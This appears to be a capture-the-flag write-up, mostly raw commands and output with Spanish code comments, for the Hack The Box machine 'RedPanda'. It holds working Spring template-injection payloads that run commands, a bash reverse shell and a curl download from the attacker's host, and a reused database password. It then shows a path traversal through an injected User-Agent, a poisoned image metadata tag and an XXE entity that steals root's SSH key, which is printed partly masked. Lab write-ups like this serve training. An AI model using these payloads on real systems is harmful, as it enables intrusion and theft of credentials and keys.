RedPanda
#easy #linux
Last updated
#easy #linux
Last updated
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63sudo nmap -p 22,8080 -sCV -Pn -n -vv 10.129.227.207 -oA openPortsServicesversionPORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
8080/tcp open http syn-ack ttl 63 Apache Tomcat (language: en)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS
|_http-title: Red Panda Search | Made with Spring Boot
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelcat export.xml<?xml version="1.0" encoding="UTF-8"?>
<credits>
<author>woodenk</author>
<image>
<uri>/img/greg.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/hungy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/smooch.jpg</uri>
<views>1</views>
</image>
<image>
<uri>/img/smiley.jpg</uri>
<views>1</views>
</image>
<totalviews>2</totalviews>
</credits>*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}#!/usr/bin/env bash
bash -i >& /dev/tcp/10.10.14.169/1111 0>&1python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...nc -lnvp 1111
listening on [any] 1111 ...*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl+10.10.14.169:8000/rev.sh+-o+/home/woodenk/rev.sh').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('ls+/home/woodenk').getInputStream())}
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('/bin/bash+/home/woodenk/rev.sh').getInputStream())}woodenk@redpanda:/tmp/hsperfdata_woodenk$ cd
woodenk@redpanda:~$ pwd
/home/woodenk
woodenk@redpanda:~$ ls -la
total 40
drwxr-xr-x 5 woodenk woodenk 4096 Oct 1 15:07 .
drwxr-xr-x 3 root root 4096 Jun 14 2022 ..
lrwxrwxrwx 1 root root 9 Jun 14 2022 .bash_history -> /dev/null
-rw-r--r-- 1 woodenk woodenk 220 Jun 14 2022 .bash_logout
-rw-r--r-- 1 woodenk woodenk 3938 Jun 14 2022 .bashrc
drwx------ 2 woodenk woodenk 4096 Jun 23 2022 .cache
drwxrwxr-x 3 woodenk woodenk 4096 Jun 14 2022 .local
drwxrwxr-x 4 woodenk woodenk 4096 Jun 14 2022 .m2
-rw-rw-r-- 1 woodenk logs 64 Oct 1 15:09 melvin.sh
-rw-r--r-- 1 woodenk woodenk 807 Jun 14 2022 .profile
-rw-r----- 1 root woodenk 33 Oct 1 14:18 user.txt
woodenk@redpanda:~$ cat user.txt woodenk@redpanda:~/.m2$ find / -name *panda* 2>/dev/null
/opt/panda_search
woodenk@redpanda:/opt/panda_search$ grep -ERin --color=auto -C 1 "password|mysql" .
./src/main/java/com/panda_search/htb/panda_search/MainController.java:106: conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda", "woodenk", "RedPandazRule");Usuario: woodenk
Contraseña: RedPandazRulessh woodenk@10.129.227.207
The authenticity of host '10.129.227.207 (10.129.227.207)' can't be established.
ED25519 key fingerprint is SHA256:RoZ8jwEnGGByxNt04+A/cdluslAwhmiWqG3ebyZko+A.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:14: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.227.207' (ED25519) to the list of known hosts.
woodenk@10.129.227.207's password:
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 01 Oct 2025 03:28:34 PM UTC
System load: 0.01
Usage of /: 80.9% of 4.30GB
Memory usage: 37%
Swap usage: 0%
Processes: 217
Users logged in: 0
IPv4 address for eth0: 10.129.227.207
IPv6 address for eth0: dead:beef::250:56ff:fe94:b22e
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Tue Jul 5 05:51:25 2022 from 10.10.14.23sshpass -p RedPandazRule scp pspy64 woodenk@10.129.227.207:/home/woodenkwoodenk@redpanda:~$ chmod +x pspy64
woodenk@redpanda:~$ ./pspy64 ./pspy642025/10/01 18:10:01 CMD: UID=0 PID=5432 | /bin/sh -c sudo -u woodenk /opt/cleanup.sh
2025/10/01 18:10:01 CMD: UID=0 PID=5431 | java -jar /opt/credit-score/LogParser/final/target/final-1.0-jar-with-dependencies.jar woodenk@redpanda:/opt/credit-score/LogParser/final/src/main/java/com/logparser$ cat App.java curl -A "useragent||/../../../../../../../../../../../../tmp/root.jpg" http://10.129.227.207:8080/200||10.10.14.169||useragent||/../../../../../../../../../../../../tmp/root.jpg||/public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
File log_fd = new File("/opt/panda_search/redpanda.log");
Scanner log_reader = new Scanner(log_fd);
while(log_reader.hasNextLine())
{
String line = log_reader.nextLine();
if(!isImage(line))
{
continue;
}
// Como la línea "200||10.10.14.169||useragent||/../../../../../../../../../../../../tmp/root.jpg||/"
// contiene .jpg continúa con el parseo
// parsed_data contiene el map con los cuatro valores: {status_code=200, ip=10.10.14.169, user_agent=useragent, uri=/../../../../../../../../../../../../tmp/root.jpg}
Map parsed_data = parseLog(line);
System.out.println(parsed_data.get("uri"));
// artist contiene "../tmp/root"
String artist = getArtist(parsed_data.get("uri").toString());
System.out.println("Artist: " + artist);
// xmlPath contiene "/credits/../tmp/root_creds.xml"
String xmlPath = "/credits/" + artist + "_creds.xml";
addViewTo(xmlPath, parsed_data.get("uri").toString());
}
}public static Map parseLog(String line) {
// line contiene "200||10.10.14.169||useragent||/../../../../../../../../../../../../tmp/root.jpg||/"
String[] strings = line.split("\\|\\|");
Map map = new HashMap<>();
// strings[0] contiene Key=status_code, Value=200
map.put("status_code", Integer.parseInt(strings[0]));
// strings[1] contiene Key=ip, Value=10.10.14.169
map.put("ip", strings[1]);
// strings[2] contiene Key=user_agent, Value=useragent
map.put("user_agent", strings[2]);
// strings[3] contiene Key=uri, Value=/../../../../../../../../../../../../tmp/root.jpg
map.put("uri", strings[3]);
return map;
}public static String getArtist(String uri) throws IOException, JpegProcessingException
{
// uri contiene "/../../../../../../../../../../../../tmp/root.jpg"
String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
// fullpath queda "/opt/panda_search/src/main/resources/static/../../../../../../../../../../../../tmp/root.jpg"
File jpgFile = new File(fullpath);
Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
for(Directory dir : metadata.getDirectories())
{
for(Tag tag : dir.getTags())
{
if(tag.getTagName() == "Artist")
{
// Devuelve el contenido de la etiqueta Artist que en este caso es "../tmp/root"
return tag.getDescription();
}
}
}
return "N/A";
}public static void addViewTo(String path, String uri) throws JDOMException, IOException
{
// path -> "/credits/../tmp/root_creds.xml"
// uri -> "/../../../../../../../../../../../../tmp/root.jpg"
SAXBuilder saxBuilder = new SAXBuilder();
// saxBuilder: objeto para parsear XML.
// En este escenario SIN configurar para bloquear DOCTYPE/ENTITIES,
// el parser expandirá entidades externas (XXE) definidas en el XML.
XMLOutputter xmlOutput = new XMLOutputter();
// xmlOutput: objeto que serializa el Document de vuelta a texto XML.
xmlOutput.setFormat(Format.getPrettyFormat());
// Formato de salida: "pretty printed".
File fd = new File(path);
// fd -> new File("/credits/../tmp/root_creds.xml")
// Nota: File no normaliza `..`. `fd` apunta literalmente al path con `..`.
// Si se resuelve por el SO/IO apuntará a /tmp/root_creds.xml (dependiendo de operaciones posteriores).
Document doc = saxBuilder.build(fd);
// doc -> árbol JDOM obtenido parseando el fichero que `fd` señala.
// Dado el contenido de /tmp/root_creds.xml que diste:
// <?xml ... ?>
// <!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]>
// <credits>
// <author>&xxe;</author>
// ...
// </credits>
//
// Si el parser **permite** DOCTYPE/ENTITIES (como en este caso sin hardening):
// - al parsear, la entidad &xxe; se expande.
// - por lo tanto `doc` contendrá:
// root = <credits> ... </credits>
// dentro de root, el Element <author> cuyo contenido de texto será
// el contenido del fichero /root/.ssh/id_rsa (representado aquí como: <CONTENIDO_DE_/root/.ssh/id_rsa>)
// -> IMPORTANTE: aquí no muestro ni reproduzco la clave; solo indico que ese nodo quedará con el contenido del fichero leído.
//
// Si el parser estuviera configurado para RECHAZAR DOCTYPE, entonces:
// - saxBuilder.build(fd) habría lanzado una excepción (p.ej. JDOMException) y no se construiría `doc`.
Element rootElement = doc.getRootElement();
// rootElement -> Element que representa <credits> del documento parseado.
// rootElement.getChildren() -> lista de los hijos directos: [<author>, <image>, <image>, ..., <totalviews>]
for(Element el: rootElement.getChildren())
{
// Primera iteración:
// el -> <author> (si el parser expandió &xxe;)
// el.getName() -> "author"
// Luego iteraciones:
// el -> primer <image>, segundo <image>, ... , <totalviews>
if(el.getName() == "image")
{
// Comparación con `==`:
// el.getName() == "image" compara referencias, no contenido. Puede ser false incluso si el.getName().equals("image").
// En este ejemplo concreto puede que no entre nunca al bloque por ese bug.
if(el.getChild("uri").getText().equals(uri))
{
// Si llegara a entrar (hipotético, si equals-reference fallase no entraría):
// el.getChild("uri").getText() -> por ejemplo "/img/greg.jpg" (texto del nodo <uri>)
// .equals(uri) -> compara con "/../../....tmp/root.jpg" (valor malicioso pasado a la función)
// En el caso normal no coincidirán; un atacante podría manipular tanto el XML como el uri para forzar coincidencia.
Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
// rootElement.getChild("totalviews").getText() -> "2"
// Integer.parseInt("2") -> 2
// totalviews -> 3 (se incrementa en 1)
System.out.println("Total views:" + Integer.toString(totalviews));
// imprime: "Total views:3"
rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
// Ahora el nodo <totalviews> en `doc` tiene el texto "3"
Integer views = Integer.parseInt(el.getChild("views").getText());
// el.getChild("views").getText() -> por ejemplo "0" o "1" según la imagen donde se haga match
// views -> 0 (si era la primera imagen con views 0)
el.getChild("views").setText(Integer.toString(views + 1));
// Actualiza el nodo <views> correspondiente a "1" (si era 0 antes).
}
}
}
BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
// writer -> BufferedWriter apuntando a FileWriter("/credits/../tmp/root_creds.xml")
// FileWriter truncará y sobrescribirá el fichero apuntado por `fd`.
// Dado que `fd` contiene `..`, el fichero que realmente se sobrescriba dependerá de cómo el SO resuelva el path;
// típicamente terminará escribiendo en /tmp/root_creds.xml (remplazando su contenido).
// Riesgo crítico: si `fd` fue cambiado entre el build() y aquí (symlink/TOCTOU), se podría terminar escribiendo en otro fichero.
xmlOutput.output(doc, writer);
// Serializa el `doc` (que contiene ahora, por ejemplo, <author> con el contenido del fichero /root/.ssh/id_rsa
// si el XXE se expandió) y lo escribe en el fichero `fd`.
// Resultado final en disco (si no hubo excepciones ni races):
// El fichero en /tmp/root_creds.xml queda **sobrescrito** con la versión modificada de `doc`.
// Esa versión incluirá el valor de <author> que, en el caso vulnerable, contiene el dato leído desde /root/.ssh/id_rsa
// (es decir: la clave privada queda escrita en el XML sobrescrito en /tmp/root_creds.xml).
}wget http://10.129.227.207:8080/img/florida.jpg
--2025-10-01 17:39:39-- http://10.129.227.207:8080/img/florida.jpg
Conectando con 10.129.227.207:8080... conectado.
Petición HTTP enviada, esperando respuesta... 200
Longitud: 111370 (109K) [image/jpeg]
Grabando a: «florida.jpg»
florida.jpg 100%[===================================================================================================================>] 108,76K 150KB/s en 0,7s
2025-10-01 17:39:41 (150 KB/s) - «florida.jpg» guardado [111370/111370]
mv florida.jpg root.jpg
exiftool -Artist root.jpg
Artist : woodenk
exiftool -Artist='../tmp/root' root.jpg
Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - root.jpg
1 image files updated<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE author [<!ENTITY xxe SYSTEM 'file:///root/.ssh/id_rsa'>]>
<credits>
<author>&xxe;</author>
<image>
<uri>/img/greg.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/hungy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/smooch.jpg</uri>
<views>1</views>
</image>
<image>
<uri>/img/smiley.jpg</uri>
<views>1</views>
</image>
<totalviews>2</totalviews>
</credits>python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...woodenk@redpanda:/tmp$ wget 10.10.14.169:8000/export.xml
--2025-10-01 20:38:37-- http://10.10.14.169:8000/export.xml
Connecting to 10.10.14.169:8000...
connected.
HTTP request sent, awaiting response... 200 OK
Length: 493 [application/xml]
Saving to: ‘export.xml’
export.xml 100%[===================================================================================================================>] 493 --.-KB/s in 0s
2025-10-01 20:38:37 (66.8 MB/s) - ‘export.xml’ saved [493/493]
woodenk@redpanda:/tmp$ wget 10.10.14.169:8000/root.jpg
--2025-10-01 20:41:46-- http://10.10.14.169:8000/root.jpg
Connecting to 10.10.14.169:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 111374 (109K) [image/jpeg]
Saving to: ‘root.jpg’
root.jpg 100%[===================================================================================================================>] 108.76K 156KB/s in 0.7s
2025-10-01 20:41:47 (156 KB/s) - ‘root.jpg’ saved [111374/111374]
woodenk@redpanda:/tmp$ mv export.xml root_creds.xml
woodenk@redpanda:/tmp$ chmod 777 root_creds.xmlcurl -A "useragent||/../../../../../../../../../../../../tmp/root.jpg" http://10.129.227.207:8080/woodenk@redpanda:/tmp$ cat root_creds.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE author>
<credits>
<author>-----BEGIN OPENSSH PRIVATE KEY-----
b3Bl**************************************************************gtZW
QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
-----END OPENSSH PRIVATE KEY-----</author>
<image>
<uri>/img/greg.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/hungy.jpg</uri>
<views>0</views>
</image>
<image>
<uri>/img/smooch.jpg</uri>
<views>1</views>
</image>
<image>
<uri>/img/smiley.jpg</uri>
<views>1</views>
</image>
<totalviews>2</totalviews>
</credits>chmod 600 id_rsassh -i id_rsa root@10.129.227.207
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-121-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 01 Oct 2025 08:46:02 PM UTC
System load: 0.0
Usage of /: 80.9% of 4.30GB
Memory usage: 43%
Swap usage: 0%
Processes: 218
Users logged in: 1
IPv4 address for eth0: 10.129.227.207
IPv6 address for eth0: dead:beef::250:56ff:fe94:b22e
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Oct 1 17:05:38 2025 from 10.10.14.169
root@redpanda:~# ls
root.txt run_credits.sh
root@redpanda:~# cat root.txt